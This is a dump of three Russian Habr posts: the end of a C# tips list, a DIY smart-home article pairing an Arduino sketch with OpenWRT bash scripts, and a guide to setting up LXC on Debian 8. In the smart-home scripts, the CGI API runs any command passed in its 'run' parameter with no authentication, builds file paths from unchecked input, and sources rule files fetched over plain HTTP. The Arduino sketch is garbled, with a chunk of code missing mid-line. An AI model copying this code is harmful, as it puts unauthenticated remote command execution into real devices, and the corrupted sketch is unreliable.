> names.Add(«Tim»);
>
> names.Add(«Richard»);
>
>
>
> // Display the contents of the List out using the «Print» delegate.
>
> names.ForEach(Print);
>
>
>
> // The following demonstrates the Anonymous Delegate feature of C#
>
> // to display the contents of the List to the console.
>
> names.ForEach(delegate(String name)
>
> {
>
> Console.WriteLine(name);
>
> });
>
> }
>
>
>
> private static void Print(string s)
>
> {
>
> Console.WriteLine(s);
>
> }
>
> }
>
> /\* This code will produce output similar to the following:
>
> \* Bruce
>
> \* Alfred
>
> \* Tim
>
> \* Richard
>
> \* Bruce
>
> \* Alfred
>
> \* Tim
>
> \* Richard
>
> \*/
`BeginInvoke()`, `EndInvoke()` methods by [Will Dean](http://www.stackoverflow.com/questions/9033#9581)
`Nullable.HasValue` and `Nullable. Value` properties by [Rismo](http://www.stackoverflow.com/questions/9033#15393)
[`GetValueOrDefault`](http://msdn.microsoft.com/ru-ru/library/3d6d4f1d.aspx) method by [John Sheehan](http://www.stackoverflow.com/questions/9033#18158).Извлекает значение текущего объекта Nullable(T) или заданное значение по умолчанию.
Tips & Tricks
-------------
[uppercase comparisons](http://www.amazon.com/CLR-via-Second-Pro-Developer/dp/0735621632) by [John](http://www.stackoverflow.com/questions/9033#12137).Исходя из книги «CLR via C#» Microsoft соптимизировали код для проведения UPPERCASE сравнений.(а НЕ LOWERCASE, например)
[LINQBridge](http://www.albahari.com/nutshell/linqbridge.html) by [Duncan Smart](http://www.stackoverflow.com/questions/9033?#10886)
[Parallel Extensions](http://www.techdays.ru/videos/1220.html) by [Joel Coehoorn](http://www.stackoverflow.com/questions/9033/hidden-features-of-c#31293).В докладе рассказывается об основных составляющих Parallel FX Jun 2008 CTP и приводятся примеры применения Parallel FX
[](http://stackoverflow.com/questions/9033) ©
P.S. Столько коптел над форматированием кода, но Хабр чего-то никак не хочет послушаться =( профорвардил в своём [**блоге**](http://nihilist.expert.ge/?p=28), там все отображается почти верно.
[](http://progg.ru/Hidden-features-of-C) | https://habr.com/ru/post/56279/ | null | ru | null |
# Делаем Smart Point или «Интернет-вещь» своими руками
В этой статье я опишу концепцию и пример практической реализации компактной платформы для создания решений в области домашней автоматики и Интернета Вещей.
Заинтересовашихся прошу под кат.
##### Вместо введения
В последнее время наблюдается ярко выраженная тенденция роста интереса к такой области информационных технологий, как автоматизация жизнедеятельности. Автоматизация сама по себе явление далеко не новое и уже десятки лет для большинства промышленных производств является не прихотью, а необходимостью, без которой просто немыслимо выживание бизнеса в условиях жёсткой конкуренции. Так почему же только сейчас мы так много слышим про Интернет Вещей (Internet of Things), M2M (Machine-to-machine) коммуникации и прочие “умные” технологии? Возможно, причиной является то, что, как и во многих подобных случаях, была набрана некая “критическая масса” инноваций в купе с доступностью элементной базы для широкой публики. Так же, как когда-то развитие Интернета и доступность интернет-технологий породило целую волну информационных проектов, меняющих мир до сих пор, так и сейчас мы становимся свидетелями того, как из таких “кирпичиков” как программирование, микро-электроника, Интернет создаётся множество интересных бытовых решений. Далеко не все из них “взлетят” и это абсолютно нормально, но многие из них могут быть основой (или вдохновением) для чего-то действительно потрясающего.
Лично я этим очень активно интересуюсь уже не первый год, и, возможно, некоторые слышали про открытый проект Умного Дома MajorDoMo, к созданию и работе над которым я имею удовольствие относиться. Но сейчас речь не о нём, а о некотором параллельном проекте, очередном эксперименте, если хотите, который меня увлёк некоторое время назад и результатами которого я делюсь в этой статье.
Имея в “багаже” проект платформы Умного Дома, я задумался о том, что хоть он и является очень гибким в применении, но большое количество возможностей требует соответствующего оборудования, что не всегда удобно и практично. Для каких-то задач “малой” автоматизации можно обойтись и одним микроконтроллером, но здесь уже теряем в гибкости и повышаем требования к квалификации пользователя. Для меня показалось очевидным, что есть необходимость в неком промежуточном варианте – достаточно компактном и энерго-эффективном, но при этом гибком в настройке и использовании. Дадим рабочее название этому варианту “Умная Точка” или SmartPoint. Попутно сформировался целый список пожеланий по возможностям, которые было бы здорово в этом устройстве получить.
##### Задача
Итак, от лирики к практике. Вот основные требования к устройству SmartPoint:
* Гибкая система правил для реакции на события от сенсоров
* Веб-интерфейс для “ручного” управления
* HTTP API для интеграции в более сложный комплекс
* Работа ONLINE – доступ к веб-интерфейсу устройства через Интернет без статического IP и “проброса” портов на маршрутизаторе
* Работа OFFLINE – функционирование настроенного устройства не должно зависеть от наличия доступа в Интернет
Дополнительные (практические) пожелания для устройства:
* Работа по WiFi
* Наличие встроенных сенсоров и исполнительных модулей (устройство должно иметь практическую пользу сразу “из коробки”, а не “в теории”)
* Беспроводной “локальный” интерфейс для взаимодействия с более простыми датчиками/исполнительными модулями
* Интернет-сервис (личный кабинет) для настройки и мониторинга работы устройства
##### Контроллер, хост, периферия
Обдумывая снова и снова концепцию, а так же немалый набор “хотелок” пришёл к выводу, что одним микроконтроллером обойтись не получится. Во-первых, я всё-таки не настолько хорошо умею их программировать, чтобы на низком уровне реализовать всё задуманное, а во-вторых, далеко не всякий контроллер вынесет такой аппетит пожеланий. Было решено пойти по пути наименьшего сопротивления – разделить устройство на две логические части: одна (“контроллер”) будет на базе микроконтроллера и отвечать за элементарное взаимодействие с “железом”, а вторая (“хост”) на базе встроенного Linux, отвечать за более высокий уровень (интерфейс, система правил, API). В качестве первого блока был выбран (угадайте!) микроконтроллер Arduino, а в качестве второго блока в дело пошёл роутер TP-Link WR703N с прошивкой OpenWRT (заметка: было успешно собрано пара аналогичных устройств на роутере DLink Dir-320). Предвидя праведный гнев, спешу напомнить, что задача у нас в первую очередь проверить на прототипе жизнеспособность концепции, а не спроектировать и собрать коммерческое устройство. Кроме того, использование данных компонентов облегчает повторение устройства — да здравствует open-source! Использование же Arduino позволяет применить опыт подключения бесконечного разнообразия датчиков и исполнительных модулей к нашему устройству.
Роутер TP-Link WR703N:
Микроконтроллер Arduino Nano:
В качестве первоначального набора периферии были выбраны следующие элементы:
* Кнопка 
* Датчик движения 
* Датчик температуры DS18B20 
* Приёмник 433Mhz 
* Передатчик Noolite для управления светом 
Набор периферии, как вы понимаете, может быть другим, но в данном примере я взял именно этот исходя из упомянутого выше принципа “практической полезности”. Таким образом, устройство у нас сможет реагировать на нажатие кнопки, на движение, на изменение температуры, а так же принимать данные от внешних датчиков (в данном случае использовался [описанный ранее на хабре](http://habrahabr.ru/post/182068/) протокол) и управлять силовыми модулями системы Noolite (про модуль управления отдельная история и на фотографии не коммерческий экземпляр модуля, а один из ранних прототипов от производителя, попавший ко мне на испытания).
Объединив наброски по реализации и первоначальные требования, получаем вот такую структурную схему устройства:
Пояснения к схеме:
* Устройство состоит из микроконтроллера, взаимодействующего с проводной/беспроводной периферией, и ядра, отвечающего за логику обработки входящих данных и интерфейсы
* Имеется API и веб-интерфейс для приёма команд от внешних “терминалов” (компьютеры, телефоны и т.п.)
* Устройство на связи с внешним сервисом для загрузки правил, отправки уведомлений и приёма команд
##### Подготовка микроконтроллера
У микроконтроллера две основные задачи: во-первых, выдавать в консоль события от внешних устройств, и, во-вторых, принимать из консоли команды для передачи на подключенную периферию.
Ниже приведён текст скетча с учётом специфики перечисленной выше периферии. В нашем случае кнопка подключена на PIN4, датчик движения на PIN3, датчик температуры на PIN9, радиоприёмник на PIN8 и модуль Noolite на PIN-ы 10, 11.
**Скетч для контроллера**
```
#include
#include
#include
#include
#include //Needed to access the eeprom read write functions
#include
#define PIN\_LED (13) // INDICATOR
#define PIN\_PIR (3) // BUTTON
#define PIN\_BUTTON (4) // BUTTON
#define PIN\_LED\_R (6) // INDICATOR RED
#define PIN\_LED\_G (5) // INDICATOR GREEN
#define PIN\_LED\_B (7) // INDICATOR BLUE
#define PIN\_RF\_RECEIVE (8) // EASYRF RECEIVER
#define PIN\_TEMP (9) // TEMPERATURE SENSOR
#define PIN\_NOO\_RX (10) // RX PIN (connect to TX on noolite controller)
#define PIN\_NOO\_TX (11) // TX PIN (connect to RX on noolite controller)
#define TEMP\_ACC (0.3) // temperature accuracy
#define PERIOD\_READ\_TEMP (20) // seconds
#define PERIOD\_SEND\_TEMP (600) // seconds (10 minutes)
#define PERIOD\_SEND\_UPTIME (300) // seconds (5 minutes)
#define NOO\_BUF\_LEN (12)
unsigned int unique\_device\_id = 0;
long int uptime = 0;
long int old\_uptime = 0;
float sent\_temperature=0;
int sent\_pir=0;
int sent\_button=0;
int sent\_button\_longlick=0;
long int timeCheckedTemp=0;
long int timeSentTemp=0;
long int timeSentUptime=0;
long int timeButtonPressed=0;
String inData;
//create objects
SoftwareSerial mySerial(PIN\_NOO\_RX, PIN\_NOO\_TX); // RX, TX
OneWire oneWire(PIN\_TEMP);
DallasTemperature sensors(&oneWire);
EasyTransferVirtualWire ET;
unsigned int last\_packet\_id = 0;
struct SEND\_DATA\_STRUCTURE{
//put your variable definitions here for the data you want to send
//THIS MUST BE EXACTLY THE SAME ON THE OTHER ARDUINO
//Struct can'e be bigger then 26 bytes for VirtualWire version
unsigned int device\_id;
unsigned int destination\_id;
unsigned int packet\_id;
byte command;
int data;
};
//give a name to the group of data
SEND\_DATA\_STRUCTURE mydata;
//This function will write a 2 byte integer to the eeprom at the specified address and address + 1
void EEPROMWriteInt(int p\_address, unsigned int p\_value)
{
byte lowByte = ((p\_value >> 0) & 0xFF);
byte highByte = ((p\_value >> 8) & 0xFF);
EEPROM.write(p\_address, lowByte);
EEPROM.write(p\_address + 1, highByte);
}
//This function will read a 2 byte integer from the eeprom at the specified address and address + 1
unsigned int EEPROMReadInt(int p\_address)
{
byte lowByte = EEPROM.read(p\_address);
byte highByte = EEPROM.read(p\_address + 1);
return ((lowByte << 0) & 0xFF) + ((highByte << 8) & 0xFF00);
}
void nooSend(byte channel, byte buf[NOO\_BUF\_LEN]) {
buf[0]=85;
buf[1]=B01010000; //
buf[4]=0;
buf[5]=channel;
buf[9]=0;
int checkSum;
for(byte i=0;i<(NOO\_BUF\_LEN-2);i++) {
checkSum+=buf[i];
}
buf[10]=lowByte(checkSum);
buf[11]=170;
Serial.print("Sending: ");
for(byte i=0;i<(NOO\_BUF\_LEN);i++) {
Serial.print(buf[i]);
if (i!=(NOO\_BUF\_LEN-1)) { Serial.print('-'); }
}
Serial.println("");
for(byte i=0;i<(NOO\_BUF\_LEN);i++) {
mySerial.write(buf[i]);
}
}
void noolitePair(byte channel) {
byte buf[NOO\_BUF\_LEN];
for(byte i=0;i<(NOO\_BUF\_LEN);i++) {
buf[i]=0;
}
buf[2]=15;
buf[3]=0;
nooSend(channel,buf);
}
void nooliteUnPair(byte channel) {
byte buf[NOO\_BUF\_LEN];
for(byte i=0;i<(NOO\_BUF\_LEN);i++) {
buf[i]=0;
}
buf[2]=9;
buf[3]=0;
nooSend(channel,buf);
}
void nooliteTurnOn(byte channel) {
byte buf[NOO\_BUF\_LEN];
for(byte i=0;i<(NOO\_BUF\_LEN);i++) {
buf[i]=0;
}
buf[2]=2;
buf[3]=0;
nooSend(channel,buf);
}
void nooliteTurnOff(byte channel) {
byte buf[NOO\_BUF\_LEN];
for(byte i=0;i<(NOO\_BUF\_LEN);i++) {
buf[i]=0;
}
buf[2]=0;
buf[3]=0;
nooSend(channel,buf);
}
void nooliteSwitch(byte channel) {
byte buf[NOO\_BUF\_LEN];
for(byte i=0;i<(NOO\_BUF\_LEN);i++) {
buf[i]=0;
}
buf[2]=4;
buf[3]=0;
nooSend(channel,buf);
}
void nooliteLevel(byte channel,byte level) {
byte buf[NOO\_BUF\_LEN];
for(byte i=0;i<(NOO\_BUF\_LEN);i++) {
buf[i]=0;
}
buf[2]=6;
buf[3]=1;
buf[6]=level;
nooSend(channel,buf);
}
void blinking(int count) {
for(int i=0;i60000 || unique\_device\_id==26807) {
Serial.print("N/A, updating... ");
unique\_device\_id=random(10000, 60000);
EEPROMWriteInt(0, unique\_device\_id);
}
Serial.println(unique\_device\_id);
pinMode(PIN\_NOO\_RX, INPUT);
pinMode(PIN\_NOO\_TX, OUTPUT);
mySerial.begin(9600);
}
void loop()
{
uptime=round(millis()/1000);
if (uptime!=old\_uptime) {
Serial.print("Up: ");
Serial.println(uptime);
old\_uptime=uptime;
if (((uptime-timeSentUptime)>PERIOD\_SEND\_UPTIME) || (timeSentUptime>uptime)) {
timeSentUptime=uptime;
Serial.print("P:");
Serial.print(random(65535));
Serial.print(";F:");
Serial.print("0");
Serial.print(";T:0;C:");
Serial.print("24");
Serial.print(";D:");
Serial.print(uptime);
Serial.println(";");
}
}
int current\_pir=digitalRead(PIN\_PIR);
if (current\_pir!=sent\_pir) {
Serial.print(millis()/1000);
Serial.print(" Motion sensor: ");
Serial.println(current\_pir);
Serial.print("P:");
Serial.print(random(65535));
Serial.print(";F:");
Serial.print("0");
Serial.print(";T:0;C:");
Serial.print("12");
Serial.print(";D:");
Serial.print("1");
Serial.println(";");
sent\_pir=(int)current\_pir;
}
int current\_button=digitalRead(PIN\_BUTTON);
if (current\_button!=sent\_button) {
delay(50);
int confirm\_current\_button=digitalRead(PIN\_BUTTON);
if (confirm\_current\_button==current\_button) {
if (current\_button==1) {
timeButtonPressed=millis();
sent\_button\_longlick=0;
}
if (current\_button==0) {
if (sent\_button\_longlick!=1) {
Serial.print(millis()/1000);
Serial.print(" Button press: ");
Serial.println(current\_button);
Serial.print("P:");
Serial.print(random(65535));
Serial.print(";F:");
Serial.print("0");
Serial.print(";T:0;C:");
Serial.print("23");
Serial.print(";D:");
Serial.print("3");
Serial.println(";");
}
}
sent\_button=(int)current\_button;
}
} else {
if (current\_button==1) {
int passed=millis()-timeButtonPressed;
if ((passed>3000) && (sent\_button\_longlick!=1)) {
sent\_button\_longlick=1;
Serial.print(millis()/1000);
Serial.print(" Button long press: ");
Serial.println(current\_button);
Serial.print("P:");
Serial.print(random(65535));
Serial.print(";F:");
Serial.print("0");
Serial.print(";T:0;C:");
Serial.print("23");
Serial.print(";D:");
Serial.print("4");
Serial.println(";");
}
} else {
sent\_button\_longlick=0;
}
}
if (((uptime-timeCheckedTemp)>PERIOD\_READ\_TEMP) || (timeCheckedTemp>uptime)) {
// TEMP SENSOR 1
float current\_temp=0;
sensors.requestTemperatures();
current\_temp=sensors.getTempCByIndex(0);
if (current\_temp>-100 && current\_temp<50) {
timeCheckedTemp=uptime;
Serial.print("Temp sensor: ");
Serial.println(current\_temp);
float diff=(float)sent\_temperature-(float)current\_temp;
if ((abs(diff)>=TEMP\_ACC) || ((uptime-timeSentTemp)>PERIOD\_SEND\_TEMP)) {
//
timeSentTemp=uptime;
sent\_temperature=(float)current\_temp;
Serial.print("P:");
Serial.print(random(65535));
Serial.print(";F:");
Serial.print("0");
Serial.print(";T:0;C:");
Serial.print("10");
Serial.print(";D:");
Serial.print((int)(current\_temp\*100));
Serial.println(";");
}
} else {
//Serial.print("Incorrect T: ");
//Serial.println(current\_temp);
}
}
if (Serial.available()) {
char c=Serial.read();
if (c == '\n' || c == ';')
{
Serial.println(inData);
int commandProcessed=0;
if (inData.equals("blink")) {
Serial.println("BLINKING!");
blinking(3);
commandProcessed=1;
}
if (inData.startsWith("pair")) {
commandProcessed=1;
inData.replace("pair","");
noolitePair(inData.toInt());
}
if (inData.startsWith("on")) {
commandProcessed=1;
inData.replace("on","");
nooliteTurnOn(inData.toInt());
}
if (inData.startsWith("off")) {
commandProcessed=1;
inData.replace("off","");
nooliteTurnOff(inData.toInt());
}
if (inData.startsWith("switch")) {
commandProcessed=1;
inData.replace("switch","");
nooliteSwitch(inData.toInt());
}
if (inData.startsWith("level")) {
commandProcessed=1;
inData.replace("level","");
int splitPosition;
splitPosition=inData.indexOf('-');
if(splitPosition != -1) {
String paramString=inData.substring(0,splitPosition);
int channel=paramString.toInt();
inData=inData.substring(splitPosition+1,inData.length());
nooliteLevel(channel,inData.toInt());
}
}
if (inData.startsWith("unpair")) {
commandProcessed=1;
inData.replace("unpair","");
nooliteUnPair(inData.toInt());
}
if (inData.startsWith("color-")) {
commandProcessed=1;
inData.replace("color-","");
if (inData.equalsIgnoreCase("r")) {
setColor(255,0,0);
}
if (inData.equalsIgnoreCase("g")) {
setColor(0,255,0);
}
if (inData.equalsIgnoreCase("b")) {
setColor(0,0,255);
}
if (inData.equalsIgnoreCase("w")) {
setColor(255,255,255);
}
if (inData.equalsIgnoreCase("off")) {
setColor(0,0,0);
}
}
if (commandProcessed==0) {
Serial.print("Unknown command: ");
Serial.println(inData);
}
inData="";
Serial.flush();
} else {
inData += (c);
}
}
if(ET.receiveData())
{
digitalWrite(PIN\_LED, HIGH);
if (last\_packet\_id!=(int)mydata.packet\_id) {
Serial.print("P:");
Serial.print(mydata.packet\_id);
Serial.print(";F:");
Serial.print(mydata.device\_id);
Serial.print(";T:");
Serial.print(mydata.destination\_id);
Serial.print(";C:");
Serial.print(mydata.command);
Serial.print(";D:");
Serial.print(mydata.data);
Serial.println(";");
last\_packet\_id=(int)mydata.packet\_id;
}
digitalWrite(PIN\_LED, LOW);
}
if (mySerial.available())
Serial.write(mySerial.read());
}
```
Работу контроллера с периферией можно проверить и без подключения его к хост-модулю, а просто после прошивки запустить монитор порта и посмотреть, что выдаётся в консоль. Именно этот поток данных и будет получать хост-модуль, только он ещё сможет на него реагировать в соответствии с установленными правилами.
##### Подготовка хост-модуля (роутера)
Очень подробно останавливаться на прошивке роутера системой OpenWRT и последующей настройке в рамках данной статьи я не буду — информацию об этом несложно найти на просторах Сети. В итоге у нас должен быть роутер в режиме клиента локальной WiFi-сети с выходом в интернет, а так же корректно определяющий подключенный микроконтроллер в качестве COM-порта.
Следующий шаг это трансформация нашего роутера в хост-модуль. Я использовал интерпретатор Bash для написания скриптов хост-модуля, т.к. мне показался он достаточно удобным и универсальным, т.е. не привязывающим платформу хост-модуля к какой-то определённой “железной” реализации – вместо роутера с OpenWRT может быть любое устройство со встроенным Linux-ом, лишь бы был Bash и драйверы для подключения микроконтроллера.
Алгоритм работы хост-модуля можно представить следующими пунктами:
1. Инициализация – загрузка правил работы данного устройства из внешнего веб-сервиса (при его доступности), а так же установка канала связи с микроконтроллером
2. Приём данных от контроллера и обработка их в соответствии с загруженными правилами
На уровне исходного кода это выглядит следующим образом:
**Файл настроек (/ect/master/settings.sh)**
```
MASTER_ID="AAAA-BBBB-CCCC-DDDD"
ARDUINO_PORT=/dev/ttyACM0
ARDUINO_PORT_SPEED=9600
UPDATES_URL="http://connect.smartliving.ru/rules/"
DATA_PATH="/etc/master/data"
WEB_PATH="/www"
ONLINE_CHECK_HOST="8.8.8.8"
LOCAL_BASE_URL="http://connect.dev"
```
**Файл основного скрипта обработки (/etc/master/cycle.sh)**
```
#!/bin/bash
# settings
. /etc/master/settings.sh
# STEP 0
# wait to be online
COUNTER=0
while [ $COUNTER -lt 5 ]; do
ping -c 1 $ONLINE_CHECK_HOST
if [[ $? = 0 ]];
then
echo Network available.
break;
else
echo Network not available. Waiting...
sleep 5
fi
let COUNTER=COUNTER+1
done
#---------------------------------------------------------------------------
# START
if [ ! -d "$DATA_PATH" ]; then
mkdir $DATA_PATH
chmod 0666 $DATA_PATH
fi
while :
do
#---------------------------------------------------------------------------
# Downloading the latest rules from the web
echo Getting rules from $UPDATES_URL?id=$MASTER_ID
wget -O $DATA_PATH/rules_set.tmp $UPDATES_URL?id=$MASTER_ID
if grep -Fq "Rules set" $DATA_PATH/rules_set.tmp
then
mv $DATA_PATH/rules_set.tmp $DATA_PATH/rules_set.sh
else
echo Incorrect rules file
fi
#---------------------------------------------------------------------------
# Reading all data and sending to the web
ALL_DATA_FILE=$DATA_PATH/all_data.txt
rm -f $ALL_DATA_FILE
echo -n id=$MASTER_ID>>$ALL_DATA_FILE
echo -n "&data=">>$ALL_DATA_FILE
FILES=$DATA_PATH/*.dat
for f in $FILES
do
#echo "Processing $f file..."
OLD_DATA=`cat $f`
fname=${f##*/}
PARAM=${fname/.dat/}
echo -n "$PARAM|$OLD_DATA;">>$ALL_DATA_FILE
done
ALL_DATA=`cat $ALL_DATA_FILE`
echo Posting: $UPDATES_URL?$ALL_DATA
wget -O $DATA_PATH/data_post.tmp $UPDATES_URL?$ALL_DATA
rm -f $DATA_PATH/*.dat
#---------------------------------------------------------------------------
# Downloading the latest menu from the web
echo Getting menu from $UPDATES_URL/menu2.php?download=1\&id=$MASTER_ID
wget -O $DATA_PATH/menu.tmp $UPDATES_URL/menu2.php?download=1\&id=$MASTER_ID
if grep -Fq "stylesheet" $DATA_PATH/menu.tmp
then
mv $DATA_PATH/menu.tmp $WEB_PATH/menu.html
else
echo Incorrect menu file
fi
#---------------------------------------------------------------------------
START_TIME="$(date +%s)"
# main cycle
stty -F $ARDUINO_PORT ispeed $ARDUINO_PORT_SPEED ospeed $ARDUINO_PORT_SPEED cs8 ignbrk -brkint -imaxbel -opost -onlcr -isig -icanon -iexten -echo -echoe -echok -echoctl -echoke noflsh -ixon -crtscts
#---------------------------------------------------------------------------
while read LINE; do
echo $LINE
PASSED_TIME="$(($(date +%s)-START_TIME))"
# Processing incoming URLs from controller
REGEX='^GET (.+)$'
if [[ $LINE =~ $REGEX ]]
then
URL=$LOCAL_BASE_URL${BASH_REMATCH[1]}
#-URL=$LOCAL_BASE_URL
wget -O $DATA_PATH/http.tmp $URL
echo Getting URL
echo $URL
fi
PACKET_ID=""
DATA_FROM=""
DATA_TO=""
DATA_COMMAND=""
DATA_VALUE=""
REGEX='^P:([0-9]+);F:([0-9]+);T:([0-9]+);C:([0-9]+);D:([0-9]+);$'
if [[ $LINE =~ $REGEX ]]
then
PACKET_ID=${BASH_REMATCH[1]}
DATA_FROM=${BASH_REMATCH[2]}
DATA_TO=${BASH_REMATCH[3]}
DATA_COMMAND=${BASH_REMATCH[4]}
DATA_VALUE=${BASH_REMATCH[5]}
DATA_FILE=$DATA_PATH/$DATA_FROM-$DATA_COMMAND.dat
echo -n $DATA_VALUE>$DATA_FILE
fi
if [ -f $DATA_PATH/incoming_data.txt ];
then
echo "New incoming data:";
echo `cat $DATA_PATH/incoming_data.txt`
cat $DATA_PATH/incoming_data.txt>$ARDUINO_PORT
rm -f $DATA_PATH/incoming_data.txt
fi
ACTION_RECEIVED=""
if [ -f $DATA_PATH/incoming_action.txt ];
then
ACTION_RECEIVED=`cat $DATA_PATH/incoming_action.txt`
echo "New incoming action: $ACTION_RECEIVED"
rm -f $DATA_PATH/incoming_action.txt
fi
. $DATA_PATH/rules_set.sh
if [ -f $DATA_PATH/reboot ];
then
echo "REBOOT FLAG"
rm -f $DATA_PATH/reboot
break;
fi
done < $ARDUINO_PORT
done
#---------------------------------------------------------------------------
echo Cycle stopped.
```
В настройках можно видеть, что у устройства есть уникальный идентификатор (MASTER\_ID), который используется для взаимодействия с веб-сервисом (напомню, что наличие постоянного соединения с ним не обязательно).
В ходе работы основного скрипта используется каталог /etc/master/data/ для хранения загруженного кода правил, значений последних показаний датчиков, а так же для работы некоторых конструкций системы правил (например, таймеров).
Полный набор файлов можно загрузить по [данной ссылке](http://connect.smartliving.ru/download/pack.tar).
##### Система правил
О системе правил было в общих чертах сказано выше, так что здесь остановлюсь на ней немного подробнее. Фактически, каждое правило представляет собой набор bash-инструкций. Первая часть этого набора, назовём её Активатор, проверяет входящие данные на предмет соответствия данному правилу, а вторая часть (Исполнитель) непосредственно исполняет какие-то действия.
Возможные условия активации правила:
* Получение строки определённого формата от микроконтроллера
* Получение команды определённого формата от внутреннего (кнопка, движение, температура) либо внешнего (беспроводного) датчика
* “Ручная” активации через API или другое правило (запуск сценария)
Возможные действия:
* Установка значения переменной
* Отправка строки/команды в контроллер датчиков (для внутренней обработки либо для внешнего устройства)
* HTTP-запрос на внешнюю веб-систему
* Запуск shell-комадны (Linux)
* Запуск сценария
* Отложенные действия по таймеру
**Пример исходного кода правила**
```
# RULE 2 Forwarder RCSwitch (regex)
MATCHED_RULE2='0'
REGEX='^RCSwitch:(.+)$'
if [[ $LINE =~ $REGEX ]]
then
MATCHED_RULE2="1"
fi
# RULE 2 ACTIONS
if [[ "$MATCHED_RULE2" == "1" ]]
then
#Action 2.1 (http)
echo "HTTP request: http://192.168.0.17/objects/?script=RCSwitch&rcswitch=${BASH_REMATCH[1]}"
wget -O $DATA_PATH/http.tmp http://192.168.0.17/objects/?script=RCSwitch\&rcswitch=${BASH_REMATCH[1]}
fi
```
Настройка правил производится через личный кабинет пользователя после регистрации устройства в веб-системе (сейчас вся серверная составляющая реализована как часть проекта connect.smartliving.ru). Программировать при этом не нужно, веб-система сама преобразует заданные пользователем правила в bash-команды. Со стороны пользователя интерфейс настройки выглядит примерно так:
##### Интерфейс и API
В принципе, вышеперечисленного вполне достаточно для создания автономного модуля, однако, список пожеланий был длинным, как и путь к реализации. Следующим шагом стало создание веб-интерфейса и API. Шаг этот достаточно не сложный, по сравнению с предыдущими, и реализован он был по схожему принципу. На хост-устройстве уже имеется веб-сервер, так что для реализации API был создан ещё один bash-скрипт и размещён в /www/cgi-bin/master
**Исходный код скрипта /www/cgi-bin/master**
```
#!/bin/bash
DATA_PATH="/etc/master/data"
echo "Content-type: text/plain"
echo ""
# Save the old internal field separator.
OIFS="$IFS"
# Set the field separator to & and parse the QUERY_STRING at the ampersand.
IFS="${IFS}&"
set $QUERY_STRING
Args="$*"
IFS="$OIFS"
# Next parse the individual "name=value" tokens.
ARG_VALUE=""
ARG_VAR=""
ARG_OP=""
ARG_LINE=""
for i in $Args ;do
# Set the field separator to =
IFS="${OIFS}="
set $i
IFS="${OIFS}"
case $1 in
# Don't allow "/" changed to " ". Prevent hacker problems.
var) ARG_VAR="`echo -n $2 | sed 's|[\]||g' | sed 's|%20| |g'`"
;;
#
value) ARG_VALUE=$2
;;
line) ARG_LINE=$2
;;
op) ARG_OP=$2
;;
*) echo "
---
Warning:"\
"
Unrecognized variable \'$1\' passed.
---
"
;;
esac
done
# Set value
#ARG_OP="set"
#echo $ARG_OP
if [[ "$ARG_OP" == "set" ]]
then
# echo "Set operation
"
echo -n "$ARG_VALUE">$DATA_PATH/$ARG_VAR.dat
echo "OK"
fi
if [[ "$ARG_OP" == "get" ]]
then
# echo "Get operation
"
cat $DATA_PATH/$ARG_VAR.dat
fi
if [[ "$ARG_OP" == "send" ]]
then
# echo "Send
"
echo -n $ARG_LINE>>$DATA_PATH/incoming_data.txt
echo "OK"
fi
if [[ "$ARG_OP" == "action" ]]
then
# echo "Action
"
echo -n $ARG_LINE>>$DATA_PATH/incoming_action.txt
echo "OK"
fi
if [[ "$ARG_OP" == "refresh" ]]
then
# echo "Send
"
echo "Web">$DATA_PATH/reboot
echo "OK"
fi
if [[ "$ARG_OP" == "run" ]]
then
# echo "Run
"
echo `$ARG_LINE`
fi
``` | https://habr.com/ru/post/224449/ | null | ru | null |
# Установка и настройка LXC на Debian 8
На предыдущих версиях Debian я успешно использовал технологию виртуализации OpenVZ. Она меня полностью устраивала, несмотря на наличие некоторых спорных моментов. На Debian 8 Jessie установка этой технологии не шла ни под каким соусом. Позже мои догадки о невозможности существования OpenVZ на Debian 8 и старше нашли свое подтверждение на toster.ru. Там же была предложена альтернатива — LXC, что я и решил попробовать.
Кратко опишу способ установки и настройки LXC на Debian Jessie.
Установку LXC будем делать традиционным способом – из репозиториев.
Пока всё просто:
```
apt-get install lxc lxctl lxc-templates
```
Далее, наша задача создать виртуалки в той же сети, что и хост-машина. Адрес хост-машины: 192.168.0.10, виртуалки 192.168.0.11-192.168.0.20. Создадим виртуальный сетевой интерфейс и настроим мост. Для этого понадобится пакет bridge-utils:
```
apt-get install bridge-utils
```
Производим манипуляции с сетевым интерфейсом. Лучше это проделывать непосредственно на терминале хост-машины.
Комментируем текущую конфигурацию сети в /etc/networks/interfaces:
```
# allow-hotplug eth0
# iface eth0 inet dhcp
```
Добавляем настройки моста туда же:
```
auto br0
iface br0 inet static
bridge_ports eth0
bridge_fd 0
bridge_hello 2
bridge_maxage 12
bridge_stp off
address 192.168.0.10
netmask 255.255.255.0
gateway 192.168.0.1
broadcast 192.168.0.255
```
Далее настраиваем мост:
```
brctl addbr br0
ifconfig eth0 down
brctl setfd br0 0
brctl addif br0 eth0
ifconfig eth0 0.0.0.0 up
ifconfig bdr0 192.168.1.2/24 up
route add default gw 192.168.1.1
```
Данный этап настройки крайне важен. Так как создав виртуалку, связь с внешним миром она может получить только через сетевой мост. После всех изменений можно ребутнуться и убедиться, что все сетевые интерфейсы поднялись как надо.
```
#ifconfig
br0 Link encap:Ethernet HWaddr 3c:d9:2b:0c:26:91
inet addr:192.168.0.10 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::3ed9:2bff:fe0c:2691/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4424607 errors:0 dropped:0 overruns:0 frame:0
TX packets:7829837 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:268042187 (255.6 MiB) TX bytes:11251410291 (10.4 GiB)
eth0 Link encap:Ethernet HWaddr 3c:d9:2b:0c:26:91
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4509932 errors:0 dropped:0 overruns:0 frame:0
TX packets:8137429 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:475678060 (453.6 MiB) TX bytes:11302104498 (10.5 GiB)
Interrupt:18
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:122 errors:0 dropped:0 overruns:0 frame:0
TX packets:122 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:11992 (11.7 KiB) TX bytes:11992 (11.7 KiB)
```
Теперь наш основной интерфейс br0, и он будет прокидывать все пакеты на наши виртуалки. Создаем виртуалки. Я не стал мудрить с дисковыми квотами, дав всем виртуалкам всё свободное место в разделе.
```
lxc-create -t debian -n test_01
```
